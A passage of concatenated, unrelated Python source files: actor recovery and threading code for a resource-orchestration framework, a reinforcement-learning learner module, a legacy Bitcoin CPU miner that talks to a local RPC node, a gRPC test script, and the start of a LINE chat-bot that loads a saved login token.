self.plugin.get_database().update_delegation(delegation=d) adms = self.policy.aggregate_resource_model.generate_adms() # Create new delegations and add to the broker slice; they will be re-registered with the policy in the recovery for name in delegation_names: new_delegation_graph = adms.get(name) dlg_obj = DelegationFactory.create(did=new_delegation_graph.get_graph_id(), slice_id=slice_obj.get_slice_id(), delegation_name=name) dlg_obj.set_slice_object(slice_object=slice_obj) dlg_obj.set_graph(graph=new_delegation_graph) dlg_obj.transition(prefix="Reload Model", state=DelegationState.Delegated) self.plugin.get_database().add_delegation(delegation=dlg_obj) def recover_inventory_slice(self, *, slice_obj: ABCSlice) -> bool: """ Check and Reload ARM for an inventory slice for an AM @param slice_obj slice object @return True if ARM was reloaded; otherwise False """ if self.get_type() != ActorType.Authority: return False if not slice_obj.is_inventory(): return False # Check and Reload ARM if needed from fabric_cf.actor.core.container.globals import GlobalsSingleton arm_graph = GlobalsSingleton.get().check_and_reload_model(graph_id=slice_obj.get_graph_id()) if arm_graph is not None: slice_obj.set_graph(graph=arm_graph) return arm_graph is not None def recover_slice(self, *, slice_obj: ABCSlice): """ Recover slice @param slice_obj slice_obj """ slice_id = slice_obj.get_slice_id() if self.get_slice(slice_id=slice_id) is not None: self.logger.debug("Found slice_id: {} slice:{}".format(slice_id, slice_obj)) else: self.logger.info("Recovering slice: {}".format(slice_id)) self.recover_inventory_slice(slice_obj=slice_obj) self.recover_broker_slice(slice_obj=slice_obj) self.logger.debug("Informing the plugin about the slice") self.plugin.revisit(slice_obj=slice_obj) self.logger.debug("Registering slice: {}".format(slice_id)) self.re_register_slice(slice_object=slice_obj) self.logger.debug("Recovering reservations in slice: {}".format(slice_id)) self.recover_reservations(slice_obj=slice_obj) self.logger.debug("Recovering delegations in slice: {}".format(slice_id)) self.recover_delegations(slice_obj=slice_obj) self.logger.info("Recovery of slice {} complete".format(slice_id)) def recover_reservations(self, *, slice_obj: ABCSlice): """ Recover reservations @param slice_obj slice object """ self.logger.info( "Starting to recover reservations in slice {}({})".format(slice_obj.get_name(), slice_obj.get_slice_id())) reservations = None try: reservations = self.plugin.get_database().get_reservations(slice_id=slice_obj.get_slice_id()) except Exception as e: self.logger.error(e) raise ActorException( "Could not fetch reservation records for slice {}({}) from database".format(slice_obj.get_name(), slice_obj.get_slice_id())) self.logger.debug("There are {} reservations(s) in slice".format(len(reservations))) for r in reservations: try: self.recover_reservation(r=r, slice_obj=slice_obj) except Exception as e: self.logger.error("Unexpected error while recovering reservation {}".format(e)) self.logger.info("Recovery for reservations in slice {} completed".format(slice_obj)) def recover_reservation(self, *, r: ABCReservationMixin, slice_obj: ABCSlice): """ Recover reservation @param r reservation @param slice_obj slice object """ try: r.restore(actor=self, slice_obj=slice_obj) self.logger.info( "Found reservation # {} in state {}".format(r.get_reservation_id(), r.get_reservation_state())) if r.is_closed(): self.logger.info("Reservation #{} is closed. Nothing to recover.".format(r.get_reservation_id())) return self.logger.info("Recovering reservation #{}".format(r.get_reservation_id())) self.logger.debug("Recovering reservation object r={}".format(r)) self.logger.debug("Registering the reservation with the actor") self.re_register(reservation=r) self.logger.info(r) self.logger.debug("Revisiting with the Plugin") self.plugin.revisit(reservation=r) self.logger.info(r) self.logger.debug("Revisiting with the actor policy") self.policy.revisit(reservation=r) self.logger.info("Recovered reservation #{}".format(r.get_reservation_id())) except Exception as e: self.logger.error(traceback.format_exc()) self.logger.error("Exception occurred in recovering reservation e={}".format(e)) raise ActorException("Could not recover Reservation #{}".format(r)) def recover_delegations(self, *, slice_obj: ABCSlice): """ Recover delegations for a slice @param slice_obj slice object """ self.logger.info( "Starting to recover delegations in slice {}({})".format(slice_obj.get_name(), slice_obj.get_slice_id())) try: delegations = self.plugin.get_database().get_delegations(slice_id=str(slice_obj.get_slice_id())) except Exception as e: self.logger.error(e) raise ActorException( "Could not fetch delegations records for slice {}({}) from database".format(slice_obj.get_name(), slice_obj.get_slice_id())) self.logger.debug("There are {} delegations(s) in slice".format(len(delegations))) for d in delegations: try: self.logger.info("Delegation has properties: {}".format(d)) self.recover_delegation(d=d, slice_obj=slice_obj) except Exception as e: self.logger.error("Unexpected error while recovering delegation {}".format(e)) self.logger.info("Recovery for delegations in slice {} completed".format(slice_obj)) def recover_delegation(self, *, d: ABCDelegation, slice_obj: ABCSlice): """ Recover delegation @param d delegation @param slice_obj slice object """ try: d.restore(actor=self, slice_obj=slice_obj) self.logger.info( "Found delegation # {} in state {}".format(d.get_delegation_id(), d.get_state_name())) if d.is_closed(): self.logger.info("Delegation #{} is closed. Nothing to recover.".format(d.get_delegation_id())) return self.logger.info("Recovering delegation #{}".format(d.get_delegation_id())) self.logger.debug("Recovering delegation object d={}".format(d)) self.logger.debug("Registering the delegation with the actor") self.re_register_delegation(delegation=d) self.logger.info(d) self.logger.debug("Revisiting with the Plugin") self.plugin.revisit(delegation=d) self.logger.info(d) self.logger.debug("Revisiting with the actor policy") self.policy.revisit_delegation(delegation=d) self.logger.info("Recovered delegation #{}".format(d.get_delegation_id())) except Exception as e: self.logger.error(traceback.format_exc()) self.logger.error("Exception occurred in recovering delegation e={}".format(e)) raise ActorException("Could not recover delegation #{}".format(d)) def register(self, *, reservation: ABCReservationMixin): self.wrapper.register_reservation(reservation=reservation) def register_slice(self, *, slice_object: ABCSlice): self.wrapper.register_slice(slice_object=slice_object) def register_delegation(self, *, delegation: ABCDelegation): self.wrapper.register_delegation(delegation=delegation) def remove_reservation(self, *, reservation: ABCReservationMixin = None, rid: ID = None): if reservation is not None: self.wrapper.remove_reservation(rid=reservation.get_reservation_id()) if rid is not None: self.wrapper.remove_reservation(rid=rid) def remove_slice(self, *, slice_object: ABCSlice): self.wrapper.remove_slice(slice_id=slice_object.get_slice_id()) def remove_slice_by_slice_id(self, *, slice_id: ID): self.wrapper.remove_slice(slice_id=slice_id) def re_register_delegation(self, *, delegation: ABCDelegation): self.wrapper.re_register_delegation(delegation=delegation) def re_register(self, *, reservation: ABCReservationMixin): self.wrapper.re_register_reservation(reservation=reservation) def re_register_slice(self, *, slice_object: ABCSlice): self.wrapper.re_register_slice(slice_object=slice_object) def issue_delayed(self): """ Issues delayed operations """ assert self.recovered self.close_reservations(reservations=self.closing) self.closing.clear() def reset(self): """ Reset an actor """ self.issue_delayed() self.policy.reset() def set_actor_clock(self, *, clock): """ Set actor clock @param clock clock """ self.clock = clock def set_description(self, *, description: str): """ Set description @param description description """ self.description = description def set_identity(self, *, token: AuthToken): """ Set identity @param token token """ self.identity = token self.name = self.identity.get_name() self.guid = token.get_guid() def set_policy(self, *, policy): """ Set policy @param policy policy """ self.policy = policy def set_recovered(self, *, value: bool): """ Set recovered flag @param value value """ self.recovered = value def set_plugin(self, *, plugin): """ Set plugin @param plugin """ self.plugin = plugin def set_stopped(self, *, value: bool): """ Set stopped flag @param value value """ self.stopped = value def is_on_actor_thread(self) -> bool: """ Check if running on actor thread @return true if running on actor thread, false otherwise """ result = False try: self.thread_lock.acquire() result = self.thread == threading.current_thread() finally: self.thread_lock.release() return result def execute_on_actor_thread_and_wait(self, *, runnable: ABCActorRunnable): """ Execute an incoming action on actor thread @param runnable incoming action/operation """ if self.is_on_actor_thread(): return runnable.run() else: status = ExecutionStatus() event = ActorEvent(status=status, runnable=runnable) self.queue_event(incoming=event) with status.lock: while not status.done: status.lock.wait() if status.exception is not None: raise status.exception return status.result def run(self): """ Actor run function for actor thread """ try: self.logger.info("Actor Main Thread started") self.actor_count -= 1 self.actor_main() except Exception as e: self.logger.error(f"Unexpected error {e}") self.logger.error(traceback.format_exc()) finally: self.logger.info("Actor Main Thread exited") def start(self): """ Start an Actor """ try: self.thread_lock.acquire() if self.thread is not None: raise ActorException("This actor has already been started") self.thread = threading.Thread(target=self.run) self.thread.setName(self.get_name()) self.thread.setDaemon(True) self.thread.start() finally: self.thread_lock.release() self.message_service.start() if self.plugin.get_handler_processor() is not None: self.plugin.get_handler_processor().start() def stop(self): """ Stop an actor """ self.stopped = True self.message_service.stop() try: self.thread_lock.acquire() temp = self.thread self.thread = None if temp is not None: self.logger.warning("It seems that the actor thread is running. Interrupting it") try: # TODO find equivalent of interrupt with self.actor_main_lock: self.actor_main_lock.notify_all() temp.join() except Exception as e: self.logger.error("Could not join actor thread {}".format(e)) self.logger.error(traceback.format_exc()) finally: self.thread_lock.release() finally: if self.thread_lock is not None and self.thread_lock.locked(): self.thread_lock.release() if self.plugin.get_handler_processor() is not None: self.plugin.get_handler_processor().shutdown() def tick_handler(self): """ Tick handler """ def handle_failed_rpc(self, *, rid: ID, rpc: FailedRPC): """ Handler failed rpc """ self.wrapper.process_failed_rpc(rid=rid, rpc=rpc) def __str__(self): return "actor: [{}/{}]".format(self.name, self.guid) def unregister(self, *, reservation: ABCReservationMixin, rid: ID): """ Unregister reservation @param reservation reservation @param rid reservation id """ if reservation is not None: self.wrapper.unregister_reservation(rid=reservation.get_reservation_id()) if rid is not None: self.wrapper.unregister_reservation(rid=rid) def unregister_slice(self, *, slice_object: ABCSlice): """ Unregister slice @param slice_obj slice object """ self.wrapper.unregister_slice(slice_id=slice_object.get_slice_id()) def unregister_slice_by_slice_id(self, *, slice_id: ID): """ Unregister slice by slice id @param slice_id slice id """ self.wrapper.unregister_slice(slice_id=slice_id) def queue_timer(self, timer: ABCTimerTask): """ Queue an event on Actor timer queue """ with self.actor_main_lock: self.timer_queue.put_nowait(timer) self.logger.debug("Added timer to timer queue {}".format(timer.__class__.__name__)) self.actor_main_lock.notify_all() def queue_event(self, *, incoming: ABCActorEvent): """ Queue an even on Actor Event Queue """ with self.actor_main_lock: self.event_queue.put_nowait(incoming) self.logger.debug("Added event to event queue {}".format(incoming.__class__.__name__)) self.actor_main_lock.notify_all() def await_no_pending_reservations(self): """ Await until no pending reservations """ self.wrapper.await_nothing_pending() def actor_main(self): """ Actor Main loop """ while True: events = [] timers = [] with self.actor_main_lock: while self.event_queue.empty() and self.timer_queue.empty() and not self.stopped: try: self.actor_main_lock.wait() except InterruptedError as e: self.logger.info("Actor thread interrupted. Exiting") return if self.stopped: self.logger.info("Actor exiting") return if not self.event_queue.empty(): try: for event in IterableQueue(source_queue=self.event_queue): events.append(event) except Exception as e: self.logger.error(f"Error while adding event to event queue! e: {e}") self.logger.error(traceback.format_exc()) if not self.timer_queue.empty(): try: for timer in IterableQueue(source_queue=self.timer_queue): timers.append(timer) except Exception as e: self.logger.error(f"Error while adding event to event queue! e: {e}") self.logger.error(traceback.format_exc()) self.actor_main_lock.notify_all() if len(events) > 0: self.logger.debug(f"Processing {len(events)} events") for event in events: #self.logger.debug("Processing event of type {}".format(type(event))) #self.logger.debug("Processing event {}".format(event)) try: event.process() #self.logger.debug("Processing event {} done".format(event)) except Exception as e: self.logger.error(f"Error while processing event {type(event)}, {e}") self.logger.error(traceback.format_exc()) if len(timers) > 0: self.logger.debug(f"Processing {len(timers)} timers") for t in timers: try: t.execute() except Exception as e: self.logger.error(f"Error while processing a timer {type(t)}, {e}") self.logger.error(traceback.format_exc()) def setup_message_service(self): """ Set up Message Service for incoming Kafka Messages """ try: # Kafka Proxy Service object module_name = self.get_kafka_service_module() class_name = self.get_kafka_service_class() kafka_service = ReflectionUtils.create_instance_with_params(module_name=module_name, class_name=class_name)(actor=self) # Kafka Management Service object module_name = self.get_mgmt_kafka_service_module() class_name = self.get_mgmt_kafka_service_class() kafka_mgmt_service = ReflectionUtils.create_instance_with_params(module_name=module_name, class_name=class_name)() kafka_mgmt_service.set_logger(logger=self.logger) # Incoming Message Service from fabric_cf.actor.core.container.globals import GlobalsSingleton config = GlobalsSingleton.get().get_config() topic = config.get_actor().get_kafka_topic() topics = [topic] consumer_conf = GlobalsSingleton.get().get_kafka_config_consumer() self.message_service = MessageService(kafka_service=kafka_service, kafka_mgmt_service=kafka_mgmt_service, consumer_conf=consumer_conf, key_schema_location=GlobalsSingleton.get().get_config().get_kafka_key_schema_location(), value_schema_location=GlobalsSingleton.get().get_config().get_kafka_value_schema_location(), topics=topics, logger=self.logger) except Exception as e: self.logger.error(traceback.format_exc()) self.logger.error("Failed to setup message service e={}".format(e)) raise e def set_logger(self, logger): self.logger = logger if self.policy is not None: self.policy.set_logger(logger=logger) if self.plugin is not None: self.plugin.set_logger(logger=logger) def load_model(self, *, graph_id: str): return
learner.py
# Copyright (C) 2020. Huawei Technologies Co., Ltd. All rights reserved. # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. """ Learner module cover the training process within the RL problems. """ import os import threading from time import time from copy import deepcopy import numpy as np from absl import logging from collections import deque from xt.util.logger import Logger, StatsRecorder from xt.util.profile_stats import PredictStats from xt.framework.trainer import build_alg_with_trainer from xt.benchmark.tools.evaluate_xt import ( make_workspace_if_not_exist, parse_benchmark_args, ) from xt.benchmark.visualize import BenchmarkBoard from xt.framework.comm.message import message, get_msg_data, set_msg_info, set_msg_data, get_msg_info from xt.util.common import bytes_to_str from xt.util.hw_cloud_helper import mox_makedir_if_not_existed, sync_data_to_s3 class Learner(object): def __init__( self, alg_para, env_para, agent_para, test_master=None, data_url=None, benchmark_info=None, ): self.alg_para = deepcopy(alg_para) self.process_num = self.alg_para.get("process_num", 1) self.test_master = test_master self.train_worker = None self.send_train = None self.send_predict = None self.send_broker = None self.stats_deliver = None self.train_lock = threading.Lock() self.alg = None self.trainer = None self.shared_buff = None self.bm_args = parse_benchmark_args( env_para, alg_para, agent_para, benchmark_info ) _model_dir = ["models", "benchmark"] self._workspace, _archive, _job = make_workspace_if_not_exist( self.bm_args, _model_dir ) self.bm_board = BenchmarkBoard(_archive, _job) self.model_path = os.path.join(self._workspace, _model_dir[0]) logging.info( "{} \nworkspace: \n\t{} \n" "model will save under path: \n\t{} \n" "".format("*" * 10, self._workspace, self.model_path) ) self.max_step = agent_para.get("agent_config", {}).get("complete_step") # For Cloud self.s3_path = None if data_url is not None: self.s3_path = os.path.join(data_url, _model_dir[0]) mox_makedir_if_not_existed(self.s3_path) def async_predict(self): """ create predict thread """ predict = [ PredictThread( i, self.alg, self.send_predict, self.send_broker, self.stats_deliver, self.train_lock, ) for i in range(2) ] predict_thread = [threading.Thread(target=t.predict) for t in predict] for t in predict_thread: t.setDaemon(True) t.start() def setup_stats_recorder(self): """setup an independent thread to record profiling information.""" stats_thread = StatsRecorder( msg_deliver=self.stats_deliver, bm_args=self.bm_args, workspace=self._workspace, bm_board=self.bm_board, ) stats_thread.setDaemon(True) stats_thread.start() def init_async_train(self): """ create train worker """ self.train_worker = TrainWorker( self.send_train, self.alg, self.train_lock, self.model_path, self.send_broker, self.s3_path, self.max_step, self.stats_deliver, self.test_master, ) def submit_algorithm(self, alg_instance, trainer_obj, shared_buff): """submit an algorithm, to update algorithm instance description.""" self.alg = alg_instance self.trainer = trainer_obj self.shared_buff = shared_buff def start(self): """ start all system """ alg, trainer_obj, shared_list = build_alg_with_trainer( deepcopy(self.alg_para), self.send_broker, self.model_path, self.process_num ) self.submit_algorithm(alg, trainer_obj, shared_list) self.async_predict() self.init_async_train() self.setup_stats_recorder() def main_loop(self): self.train_worker.train() def __del__(self): if self.bm_board: self.bm_board.close() class TrainWorker(object): def __init__( self, train_q, alg, lock, model_path, model_q, s3_path, max_step, stats_deliver, test_master=None, ): self.train_q = train_q self.alg = alg self.lock = lock self.model_path = model_path self.model_q = model_q self.actor_reward = dict() self.rewards = [] self.s3_path = s3_path self.max_step = max_step self.actual_step = 0 self.won_in_episodes = deque(maxlen=256) self.train_count = 0 self.stats_deliver = stats_deliver self.test_master = test_master self.logger = Logger(os.path.dirname(model_path)) def _dist_model(self, dist_model_name=("none", "none")): """dist model tool""" to_send_data = message(dist_model_name, cmd="dist_model") self.model_q.send(to_send_data) def train(self): """ train model """ total_count = 0 # if on the off policy, total count > train count save_count = 0 if not self.alg.async_flag: self._dist_model(dist_model_name=("none", "none")) while True: for _tf_val in range(self.alg.prepare_data_times): logging.debug("wait data for preparing-{}...".format(_tf_val)) with self.logger.wait_sample_timer: data = self.train_q.recv() with self.logger.prepare_data_timer: data = bytes_to_str(data) self.record_reward(data) self.alg.prepare_data(data["data"], ctr_info=data["ctr_info"]) logging.debug("finished prepare data-{}.".format(_tf_val)) if self.max_step and self.actual_step >= self.max_step: break total_count += 1 if not self.alg.train_ready(total_count, dist_dummy_model=self._dist_model): continue with self.lock, self.logger.train_timer: logging.debug("start train process-{}.".format(self.train_count)) loss = self.alg.train(episode_num=total_count) # print("train loss", loss, type(loss)) if type(loss) in (float, np.float64, np.float32, np.float16, np.float): self.logger.record(train_loss=loss) self.train_count += 1 if self.alg.checkpoint_ready(self.train_count): with self.lock: model_name = self.alg.save(self.model_path, save_count) full_model_name = [os.path.join(self.model_path, i) for i in model_name] logging.debug("put full_model_name: {}".format(full_model_name)) if not self.alg.async_flag: self._dist_model(dist_model_name=full_model_name) # For Cloud if self.s3_path is not None: for name in full_model_name: _model_name = os.path.split(name)[-1] logging.debug( "sync model:{} to s3:{}".format(_model_name, self.s3_path) ) sync_data_to_s3(name, os.path.join(self.s3_path, _model_name)) save_count += 1 # we only eval saved model # fixme: move evaluate logic inside the evaluator if self.test_master: self.test_master.call_if_eval( full_model_name[0], self.train_count, self.actual_step, self.logger.elapsed_time, self.logger.train_reward, loss, ) eval_ret = self.test_master.fetch_eval_result() if eval_ret: logging.debug("eval stats: {}".format(eval_ret)) self.stats_deliver.send( {"data": eval_ret, "is_bm": True}, block=True ) if save_count % 10 == 9: logging.debug("train count: {}".format(self.train_count)) self.stats_deliver.send(self.logger.get_new_info(), block=True) def record_reward(self, train_data): """ record reward in train """ # key = tuple(train_data["ctr_info"]) # print("key###########", key) broker_id = get_msg_info(train_data, 'broker_id') explorer_id = get_msg_info(train_data, 'explorer_id') agent_id = get_msg_info(train_data, 'agent_id') key = (broker_id, explorer_id, agent_id) # print("key###########", key) data_dict = get_msg_data(train_data) # update multi agent train reward without done flag if self.alg.alg_name in ("ppo_share_weights",): self.actual_step += len(data_dict["done"]) self.logger.record( step=self.actual_step, train_reward=np.sum(data_dict["reward"]), train_count=self.train_count, ) return elif self.alg.alg_name in ("QMixAlg", ): # fixme: unify the record op self.actual_step += np.sum(data_dict["filled"]) self.won_in_episodes.append(data_dict.pop("battle_won")) self.logger.update(explore_won_rate=np.nanmean(self.won_in_episodes)) self.logger.record( step=self.actual_step, train_reward=np.sum(data_dict["reward"]), train_count=self.train_count, ) return if key not in self.actor_reward.keys(): self.actor_reward[key] = 0.0 data_length = len(data_dict["done"]) # fetch the train data length for data_index in range(data_length): reward = data_dict["reward"][data_index] done = data_dict["done"][data_index] info = data_dict["info"][data_index] self.actual_step += 1 if isinstance(info, dict): self.actor_reward[key] += info.get("eval_reward", reward) done = info.get("real_done", done) else: self.actor_reward[key] += reward if done: self.logger.record( step=self.actual_step, train_count=self.train_count, train_reward=self.actor_reward[key], ) self.actor_reward[key] = 0.0 class PredictThread(object): def __init__(self, thread_id, alg, request_q, reply_q, stats_deliver, lock): self.alg = alg self.thread_id = thread_id self.request_q = request_q self.reply_q = reply_q self.lock = lock self.stats_deliver = stats_deliver self._report_period = 200 self._stats = PredictStats() def predict(self): """ predict action """ while True: start_t0 = time() data = self.request_q.recv() state = get_msg_data(data) self._stats.obs_wait_time += time() - start_t0 start_t1 = time() with self.lock: action = self.alg.predict(state) self._stats.inference_time += time() - start_t1 set_msg_info(data, cmd="predict_reply") set_msg_data(data, action) self.reply_q.send(data) self._stats.iters += 1 if self._stats.iters > self._report_period: _report = self._stats.get() self.stats_deliver.send(_report, block=True) def patch_alg_within_config(config): """combine the algorithm parameters""" alg_para = config["alg_para"].copy() agent_para = config["agent_para"] model_info = config["model_para"] node_config = config["node_config"] # # update algorithm configure from env info # env_conf = config.get("env_para") # if not env_conf: # raise KeyError("Not found env_para in config:\n{}".format(config)) # logging.debug("pre-init environment with: {}".format(env_conf)) # # env_attr = {} # env = env_builder(**env_conf) # try: # env_attr.update(env.get_env_info()) # logging.debug("update env_attr: {}".format(env_attr)) # except BaseException as err: # logging.warning("get err: {}".format(err)) # # finally: # env.close() # for quickly run 2s_vs_1sc map env_attr = { "state_shape": 27, # obs_shape with been extend with action&agent id in algorithm! "obs_shape": 17, "n_actions": 7, "n_agents": 2, "episode_limit": 300, "api_type": "standalone", "agent_ids": [0], } if "alg_config" not in alg_para: alg_para["alg_config"] = dict() alg_para["alg_config"].update( { "instance_num": config["env_num"] * len(node_config), "agent_num": agent_para.get("agent_num", 1), "env_attr": env_attr, } ) config.update({"alg_para": alg_para}) # update env attr into model info if "model_config" not in model_info["actor"].keys(): model_info["actor"].update({"model_config": dict()}) model_info["actor"]["model_config"].update(env_attr) alg_para["model_info"] = model_info return config def setup_learner(config, test_master, data_url=None): """ start learner """ env_para = config["env_para"] agent_para = config["agent_para"] alg_para = deepcopy(config["alg_para"]) model_info = alg_para["model_info"] # set actor.type as learner model_info["actor"].update({"type": "learner"}) # add benchmark id bm_info = config.get("benchmark") learner = Learner( alg_para, env_para, agent_para, test_master=test_master, data_url=data_url, benchmark_info=bm_info, ) learner.config_info = config return learner
pyminer.py
#!/usr/bin/python # # Copyright (c) 2011 The Bitcoin developers # Distributed under the MIT/X11 software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. # import time import json import pprint import hashlib import struct import re import base64 import httplib import sys from multiprocessing import Process ERR_SLEEP = 15 MAX_NONCE = 1000000L settings = {} pp = pprint.PrettyPrinter(indent=4) class BitcoinRPC: OBJID = 1 def __init__(self, host, port, username, password): authpair = "%s:%s" % (username, password) self.authhdr = "Basic %s" % (base64.b64encode(authpair)) self.conn = httplib.HTTPConnection(host, port, False, 30) def rpc(self, method, params=None): self.OBJID += 1 obj = { 'version' : '1.1', 'method' : method, 'id' : self.OBJID } if params is None: obj['params'] = [] else: obj['params'] = params self.conn.request('POST', '/', json.dumps(obj), { 'Authorization' : self.authhdr, 'Content-type' : 'application/json' }) resp = self.conn.getresponse() if resp is None: print "JSON-RPC: no response" return None body = resp.read() resp_obj = json.loads(body) if resp_obj is None: print "JSON-RPC: cannot JSON-decode body" return None if 'error' in resp_obj and resp_obj['error'] != None: return resp_obj['error'] if 'result' not in resp_obj: print "JSON-RPC: no result in object" return None return resp_obj['result'] def getblockcount(self): return self.rpc('getblockcount') def getwork(self, data=None): return self.rpc('getwork', data) def uint32(x): return x & 0xffffffffL def bytereverse(x): return uint32(( ((x) << 24) | (((x) << 8) & 0x00ff0000) | (((x) >> 8) & 0x0000ff00) | ((x) >> 24) )) def bufreverse(in_buf): out_words = [] for i in range(0, len(in_buf), 4): word = struct.unpack('@I', in_buf[i:i+4])[0] out_words.append(struct.pack('@I', bytereverse(word))) return ''.join(out_words) def wordreverse(in_buf): out_words = [] for i in range(0, len(in_buf), 4): out_words.append(in_buf[i:i+4]) out_words.reverse() return ''.join(out_words) class Miner: def __init__(self, id): self.id = id self.max_nonce = MAX_NONCE def work(self, datastr, targetstr): # decode work data hex string to binary static_data = datastr.decode('hex') static_data = bufreverse(static_data) # the first 76b of 80b do not change blk_hdr = static_data[:76] # decode 256-bit target value targetbin = targetstr.decode('hex') targetbin = targetbin[::-1] # byte-swap and dword-swap targetbin_str = targetbin.encode('hex') target = long(targetbin_str, 16) # pre-hash first 76b of block header static_hash = hashlib.sha256() static_hash.update(blk_hdr) for nonce in xrange(self.max_nonce): # encode 32-bit nonce value nonce_bin = struct.pack("<I", nonce) # hash final 4b, the nonce value hash1_o = static_hash.copy() hash1_o.update(nonce_bin) hash1 = hash1_o.digest() # sha256 hash of sha256 hash hash_o = hashlib.sha256() hash_o.update(hash1) hash = hash_o.digest() # quick test for winning solution: high 32 bits zero? if hash[-4:] != '\0\0\0\0': continue # convert binary hash to 256-bit Python long hash = bufreverse(hash) hash = wordreverse(hash) hash_str = hash.encode('hex') l = long(hash_str, 16) # proof-of-work test: hash < target if l < target: print time.asctime(), "PROOF-OF-WORK found: %064x" % (l,) return (nonce + 1, nonce_bin) else: print time.asctime(), "PROOF-OF-WORK false positive %064x" % (l,) # return (nonce + 1, nonce_bin) return (nonce + 1, None) def submit_work(self, rpc, original_data, nonce_bin): nonce_bin = bufreverse(nonce_bin) nonce = nonce_bin.encode('hex') solution = original_data[:152] + nonce + original_data[160:256] param_arr = [ solution ] result = rpc.getwork(param_arr) print time.asctime(), "--> Upstream RPC result:", result def iterate(self, rpc): work = rpc.getwork() if work is None: time.sleep(ERR_SLEEP) return if 'data' not in work or 'target' not in work: time.sleep(ERR_SLEEP) return time_start = time.time() (hashes_done, nonce_bin) = self.work(work['data'], work['target']) time_end = time.time() time_diff = time_end - time_start self.max_nonce = long( (hashes_done * settings['scantime']) / time_diff) if self.max_nonce > 0xfffffffaL: self.max_nonce = 0xfffffffaL if settings['hashmeter']: print "HashMeter(%d): %d hashes, %.2f Khash/sec" % ( self.id, hashes_done, (hashes_done / 1000.0) / time_diff) if nonce_bin is not None: self.submit_work(rpc, work['data'], nonce_bin) def loop(self): rpc = BitcoinRPC(settings['host'], settings['port'], settings['rpcuser'], settings['rpcpass']) if rpc is None: return while True: self.iterate(rpc) def miner_thread(id): miner = Miner(id) miner.loop() if __name__ == '__main__': if len(sys.argv) != 2: print "Usage: pyminer.py CONFIG-FILE" sys.exit(1) f = open(sys.argv[1]) for line in f: # skip comment lines m = re.search('^\s*#', line) if m: continue # parse key=value lines m = re.search('^(\w+)\s*=\s*(\S.*)$', line) if m is None: continue settings[m.group(1)] = m.group(2) f.close() if 'host' not in settings: settings['host'] = '127.0.0.1' if 'port' not in settings: settings['port'] = 30831 if 'threads' not in settings: settings['threads'] = 1 if 'hashmeter' not in settings: settings['hashmeter'] = 0 if 'scantime' not in settings: settings['scantime'] = 30L if 'rpcuser' not in settings or 'rpcpass' not in settings: print "Missing username and/or password in cfg file" sys.exit(1) settings['port'] = int(settings['port']) settings['threads'] = int(settings['threads']) settings['hashmeter'] = int(settings['hashmeter']) settings['scantime'] = long(settings['scantime']) thr_list = [] for thr_id in range(settings['threads']): p = Process(target=miner_thread, args=(thr_id,)) p.start() thr_list.append(p) time.sleep(1) # stagger threads print settings['threads'], "mining threads started" print time.asctime(), "Miner Starts - %s:%s" % (settings['host'], settings['port']) try: for thr_proc in thr_list: thr_proc.join() except KeyboardInterrupt: pass print time.asctime(), "Miner Stops - %s:%s" % (settings['host'], settings['port'])
main.py
from concurrent import futures import time import threading import grpc import pb2_grpc import pb2 RAISE_ERROR_DELAY_TIME_SENONDS = 1 SEND_REQUEST_AGAIN_DELAY_TIME_SENONDS = 2 HANDLE_REQUEST_DELAY_TIME_SECONDS = 4 class OrderDispatcherServicer(pb2_grpc.TestServiceServicer): def testFunc(self, request, context): time.sleep(HANDLE_REQUEST_DELAY_TIME_SECONDS) return pb2.TestRespnse() def send_request_to_server(port: int, delay: int): channel = grpc.insecure_channel(f"localhost:{port}") stub = pb2_grpc.TestServiceStub(channel) time.sleep(delay) stub.testFunc( pb2.TestRequest() ) def main(): server = grpc.server(futures.ThreadPoolExecutor(20)) pb2_grpc.add_TestServiceServicer_to_server(OrderDispatcherServicer(), server) port = server.add_insecure_port("[::]:0") server.start() threading.Thread(target=send_request_to_server, args=(port, 0)).start() threading.Thread( target=send_request_to_server, args=(port, SEND_REQUEST_AGAIN_DELAY_TIME_SENONDS) ).start() time.sleep(RAISE_ERROR_DELAY_TIME_SENONDS) raise Exception('test') if __name__ == "__main__": main()
app.py
# -*- coding: utf-8-*- from Imgood.linepy import * from Imgood.linepy import (LINE, Channel, OEPoll, OpType) from Imgood.akad import * from Imgood.linepy.style import * from Imgood.linepy.login import * from justgood import imjustgood from time import sleep from gtts import gTTS from datetime import datetime from bs4 import BeautifulSoup from threading import Thread, active_count import os,traceback,sys,json,time,ast,requests,re,random,pytz from Liff.ttypes import LiffChatContext, LiffContext, LiffSquareChatContext, LiffNoneContext, LiffViewRequest from te import schedule,lottoyekee login = json.loads(open('Data/token.json','r').read()) setting = json.loads(open('Data/settings.json','r').read()) cctv = json.loads(open('Data/cctv.json','r').read()) loger = Login() if login["email"] == "": if login["token"] == "": data = loger.logqr(cert=None) #You can put your Crt token here client = LINE(idOrAuthToken=data) login["token"] = data with open('Data/token.json', 'w') as fp: json.dump(login, fp, sort_keys=True, indent=4) else: try:client = LINE(idOrAuthToken=login["token"]) except:print("TOKEN EXPIRED");sys.exit() else: client = LINE(login["email"],login["password"]) flex = Autobots() clPoll = OEPoll(client) starting = time.time() mid = client.profile.mid media = imjustgood(setting["apikey"]) host = "https://{}".format(setting["main"]) oburl = client.server.LINE_OBJECT_URL protectMax = setting["proMax"] protectStaff = setting["proStaff"] read = { "addwhitelist":False, "delwhitelist":False, "addblacklist":False, "delblacklist":False, "dual":False, "dual2":False, "pp":False, "gpict":{}, "cctv":{}, "imgurl":{}, "wmessage":{}, "lmessage": "" } """ ** LINE OPERATION FUNCTION ** """ def Oup(op): if op.type in [19,133]: if op.param3 not in mid: if 